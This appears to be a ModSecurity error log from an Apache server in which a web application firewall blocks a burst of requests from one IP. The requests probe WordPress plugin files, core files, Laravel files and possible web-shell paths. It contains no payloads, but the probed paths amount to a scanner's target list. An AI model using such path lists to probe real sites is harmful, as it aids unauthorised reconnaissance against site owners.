[Wed Jan 14 05:06:48.592873 2026] [:error] [pid 59074:tid 59085] [client 4.230.47.124:7892] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/convertplug/convertplug.php"] [unique_id "aWaz6E_KrJ818pzhB3xkMAAAAkk"]
[Wed Jan 14 05:06:48.861303 2026] [:error] [pid 24603:tid 24679] [client 4.230.47.124:7918] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/convertplug/convertplug.php"] [unique_id "aWaz6JPBJGFGN8VT8_ShdAAAAI4"]
[Wed Jan 14 05:06:49.176749 2026] [:error] [pid 58699:tid 58715] [client 4.230.47.124:7923] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/convertplug/convertplug.php"] [unique_id "aWaz6eYdPBtkMLK2SdqobgAAAQ0"]
[Wed Jan 14 05:06:49.464493 2026] [:error] [pid 59074:tid 59092] [client 4.230.47.124:7818] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cdekdelivery/cdek.php"] [unique_id "aWaz6U_KrJ818pzhB3xkMQAAAlA"]
[Wed Jan 14 05:06:49.740191 2026] [:error] [pid 24603:tid 24669] [client 4.230.47.124:7902] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cdekdelivery/cdek.php"] [unique_id "aWaz6ZPBJGFGN8VT8_ShdgAAAIQ"]
[Wed Jan 14 05:06:50.008247 2026] [:error] [pid 58868:tid 58878] [client 4.230.47.124:7896] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cdekdelivery/cdek.php"] [unique_id "aWaz6k67yj8PZAmdsblpCAAAAUg"]
[Wed Jan 14 05:06:50.280890 2026] [:error] [pid 59074:tid 59098] [client 4.230.47.124:7808] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cdekdelivery/cdek.php"] [unique_id "aWaz6k_KrJ818pzhB3xkMgAAAlY"]
[Wed Jan 14 05:06:50.550990 2026] [:error] [pid 58901:tid 58930] [client 4.230.47.124:7898] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-settings.php"] [unique_id "aWaz6r3kQSrcqIWtO0okLQAAAcA"]
[Wed Jan 14 05:06:50.819597 2026] [:error] [pid 58977:tid 58980] [client 4.230.47.124:7900] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-settings.php"] [unique_id "aWaz6rlT6ggZLRx9QvAAHwAAAgA"]
[Wed Jan 14 05:06:51.100068 2026] [:error] [pid 24603:tid 24676] [client 4.230.47.124:7831] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-settings.php"] [unique_id "aWaz65PBJGFGN8VT8_SheAAAAIs"]
[Wed Jan 14 05:06:51.373237 2026] [:error] [pid 58901:tid 58939] [client 4.230.47.124:7877] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-settings.php"] [unique_id "aWaz673kQSrcqIWtO0okLgAAAck"]
[Wed Jan 14 05:06:51.645357 2026] [:error] [pid 24710:tid 24712] [client 4.230.47.124:7889] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pluggable.php"] [unique_id "aWaz62XBo5bEhDEEhs1fuAAAAMA"]
[Wed Jan 14 05:06:51.935403 2026] [:error] [pid 24710:tid 24725] [client 4.230.47.124:7883] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flexoacademy.com/wp-includes/class-wp-hook.php"] [unique_id "aWaz62XBo5bEhDEEhs1fuQAAAM0"]
[Wed Jan 14 05:06:52.217432 2026] [:error] [pid 24710:tid 24726] [client 4.230.47.124:7895] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flexoacademy.com/wp-includes/class-wp-hook.php"] [unique_id "aWaz7GXBo5bEhDEEhs1fugAAAM4"]
[Wed Jan 14 05:06:52.495108 2026] [:error] [pid 24710:tid 24714] [client 4.230.47.124:7925] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flexoacademy.com/wp-includes/class-wp-hook.php"] [unique_id "aWaz7GXBo5bEhDEEhs1fuwAAAMI"]
[Wed Jan 14 05:06:52.764094 2026] [:error] [pid 24710:tid 24713] [client 4.230.47.124:7815] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/ContactController.php"] [unique_id "aWaz7GXBo5bEhDEEhs1fvAAAAME"]
[Wed Jan 14 05:06:53.048146 2026] [:error] [pid 24710:tid 24733] [client 4.230.47.124:7819] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/ContactController.php"] [unique_id "aWaz7WXBo5bEhDEEhs1fvQAAANU"]
[Wed Jan 14 05:06:53.320604 2026] [:error] [pid 24710:tid 24735] [client 4.230.47.124:7836] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/ContactController.php"] [unique_id "aWaz7WXBo5bEhDEEhs1fvwAAANc"]
[Wed Jan 14 05:06:53.595865 2026] [:error] [pid 59074:tid 59089] [client 4.230.47.124:7830] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/ContactController.php"] [unique_id "aWaz7U_KrJ818pzhB3xkNgAAAk0"]
[Wed Jan 14 05:06:53.871037 2026] [:error] [pid 24710:tid 24717] [client 4.230.47.124:7933] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aWaz7WXBo5bEhDEEhs1fwgAAAMU"]
[Wed Jan 14 05:06:54.145502 2026] [:error] [pid 58977:tid 58981] [client 4.230.47.124:7835] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aWaz7rlT6ggZLRx9QvAAIAAAAgE"]
[Wed Jan 14 05:06:54.425412 2026] [:error] [pid 24603:tid 24675] [client 4.230.47.124:7878] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aWaz7pPBJGFGN8VT8_ShfQAAAIo"]
[Wed Jan 14 05:06:54.699921 2026] [:error] [pid 58977:tid 58996] [client 4.230.47.124:7848] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index.php"] [unique_id "aWaz7rlT6ggZLRx9QvAAIQAAAhA"]
[Wed Jan 14 05:06:54.995269 2026] [:error] [pid 58977:tid 58987] [client 4.230.47.124:7123] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/views/layouts/main.blade.php"] [unique_id "aWaz7rlT6ggZLRx9QvAAIgAAAgc"]
[Wed Jan 14 05:06:55.269418 2026] [:error] [pid 24603:tid 24678] [client 4.230.47.124:7858] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/views/layouts/main.blade.php"] [unique_id "aWaz75PBJGFGN8VT8_ShfwAAAI0"]
[Wed Jan 14 05:06:55.546049 2026] [:error] [pid 58977:tid 59004] [client 4.230.47.124:7926] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/views/layouts/main.blade.php"] [unique_id "aWaz77lT6ggZLRx9QvAAIwAAAhg"]
[Wed Jan 14 05:06:55.818533 2026] [:error] [pid 58977:tid 58989] [client 4.230.47.124:7910] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resources/views/layouts/main.blade.php"] [unique_id "aWaz77lT6ggZLRx9QvAAJAAAAgk"]
[Wed Jan 14 05:06:56.088422 2026] [:error] [pid 58977:tid 58983] [client 4.230.47.124:7847] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/82a7b40d8e135fd3ca9cce3df185adac.php"] [unique_id "aWaz8LlT6ggZLRx9QvAAJQAAAgM"]
[Wed Jan 14 05:06:56.358049 2026] [:error] [pid 58977:tid 59002] [client 4.230.47.124:7837] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/82a7b40d8e135fd3ca9cce3df185adac.php"] [unique_id "aWaz8LlT6ggZLRx9QvAAJwAAAhY"]
[Wed Jan 14 05:06:56.626075 2026] [:error] [pid 58977:tid 58994] [client 4.230.47.124:7890] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/82a7b40d8e135fd3ca9cce3df185adac.php"] [unique_id "aWaz8LlT6ggZLRx9QvAAKAAAAg4"]
[Wed Jan 14 05:06:56.895763 2026] [:error] [pid 58977:tid 58990] [client 4.230.47.124:7929] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/82a7b40d8e135fd3ca9cce3df185adac.php"] [unique_id "aWaz8LlT6ggZLRx9QvAAKQAAAgo"]
[Wed Jan 14 05:06:57.184903 2026] [:error] [pid 24601:tid 24629] [client 4.230.47.124:7814] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/4f035e85688eb1f99ecbf0a343e8dc14.php"] [unique_id "aWaz8UCtWkZ9rlKW5n-BjAAAABM"]
[Wed Jan 14 05:06:57.457509 2026] [:error] [pid 24603:tid 24677] [client 4.230.47.124:7115] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/4f035e85688eb1f99ecbf0a343e8dc14.php"] [unique_id "aWaz8ZPBJGFGN8VT8_ShgQAAAIw"]
[Wed Jan 14 05:06:57.735825 2026] [:error] [pid 58901:tid 58949] [client 4.230.47.124:7906] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/4f035e85688eb1f99ecbf0a343e8dc14.php"] [unique_id "aWaz8b3kQSrcqIWtO0okMAAAAdM"]
[Wed Jan 14 05:06:58.006289 2026] [:error] [pid 58901:tid 58946] [client 4.230.47.124:7832] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/4f035e85688eb1f99ecbf0a343e8dc14.php"] [unique_id "aWaz8r3kQSrcqIWtO0okMQAAAdA"]
[Wed Jan 14 05:06:58.275338 2026] [:error] [pid 58977:tid 58986] [client 4.230.47.124:7916] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/CaptchaController.php"] [unique_id "aWaz8rlT6ggZLRx9QvAAKgAAAgY"]
[Wed Jan 14 05:06:58.549074 2026] [:error] [pid 24603:tid 24689] [client 4.230.47.124:7827] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/CaptchaController.php"] [unique_id "aWaz8pPBJGFGN8VT8_ShgwAAAJg"]
[Wed Jan 14 05:06:58.823084 2026] [:error] [pid 58977:tid 59003] [client 4.230.47.124:7866] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/CaptchaController.php"] [unique_id "aWaz8rlT6ggZLRx9QvAAKwAAAhc"]
[Wed Jan 14 05:06:59.097083 2026] [:error] [pid 24710:tid 24730] [client 4.230.47.124:7828] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app/Http/Controllers/CaptchaController.php"] [unique_id "aWaz82XBo5bEhDEEhs1fxQAAANI"]
[Wed Jan 14 05:06:59.378018 2026] [:error] [pid 58899:tid 58925] [client 4.230.47.124:7838] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/analyze_08/analyze.php"] [unique_id "aWaz8wWViGQd5R44tHFyOgAAAZY"]
[Wed Jan 14 05:06:59.648091 2026] [:error] [pid 58977:tid 58985] [client 4.230.47.124:7850] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/analyze_08/analyze.php"] [unique_id "aWaz87lT6ggZLRx9QvAALAAAAgU"]
[Wed Jan 14 05:06:59.925300 2026] [:error] [pid 58977:tid 58992] [client 4.230.47.124:7143] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/analyze_08/analyze.php"] [unique_id "aWaz87lT6ggZLRx9QvAALQAAAgw"]
[Wed Jan 14 05:07:00.199619 2026] [:error] [pid 24603:tid 24681] [client 4.230.47.124:7810] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/analyze_08/analyze.php"] [unique_id "aWaz9JPBJGFGN8VT8_ShhQAAAJA"]
[Wed Jan 14 05:07:00.470980 2026] [:error] [pid 58868:tid 58890] [client 4.230.47.124:7119] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-includes/functions.php"] [unique_id "aWaz9E67yj8PZAmdsblpCQAAAVQ"]
[Wed Jan 14 05:07:00.764683 2026] [:error] [pid 58899:tid 58919] [client 4.230.47.124:7820] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-includes/functions.php"] [unique_id "aWaz9AWViGQd5R44tHFyOwAAAZA"]
[Wed Jan 14 05:07:01.035294 2026] [:error] [pid 24603:tid 24679] [client 4.230.47.124:7932] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-includes/functions.php"] [unique_id "aWaz9ZPBJGFGN8VT8_ShhgAAAI4"]
[Wed Jan 14 05:07:01.309318 2026] [:error] [pid 24710:tid 24712] [client 4.230.47.124:7921] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-includes/functions.php"] [unique_id "aWaz9WXBo5bEhDEEhs1fxwAAAMA"]
[Wed Jan 14 05:07:01.585245 2026] [:error] [pid 24603:tid 24669] [client 4.230.47.124:7911] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/includes/misc.php"] [unique_id "aWaz9ZPBJGFGN8VT8_ShiAAAAIQ"]
[Wed Jan 14 05:07:01.869506 2026] [:error] [pid 24603:tid 24668] [client 4.230.47.124:7874] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/includes/misc.php"] [unique_id "aWaz9ZPBJGFGN8VT8_ShiQAAAIM"]
[Wed Jan 14 05:07:02.139061 2026] [:error] [pid 24603:tid 24676] [client 4.230.47.124:7854] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/includes/misc.php"] [unique_id "aWaz9pPBJGFGN8VT8_ShigAAAIs"]
[Wed Jan 14 05:07:02.412830 2026] [:error] [pid 58699:tid 58722] [client 4.230.47.124:7833] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/includes/misc.php"] [unique_id "aWaz9uYdPBtkMLK2SdqobwAAARQ"]
[Wed Jan 14 05:07:02.691392 2026] [:error] [pid 24603:tid 24666] [client 4.230.47.124:7875] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/admin-header.php"] [unique_id "aWaz9pPBJGFGN8VT8_ShiwAAAIE"]
[Wed Jan 14 05:07:02.962647 2026] [:error] [pid 58977:tid 58999] [client 4.230.47.124:7873] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/admin-header.php"] [unique_id "aWaz9rlT6ggZLRx9QvAALwAAAhM"]
[Wed Jan 14 05:07:03.251979 2026] [:error] [pid 24603:tid 24670] [client 4.230.47.124:7856] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/admin-header.php"] [unique_id "aWaz95PBJGFGN8VT8_ShjAAAAIU"]
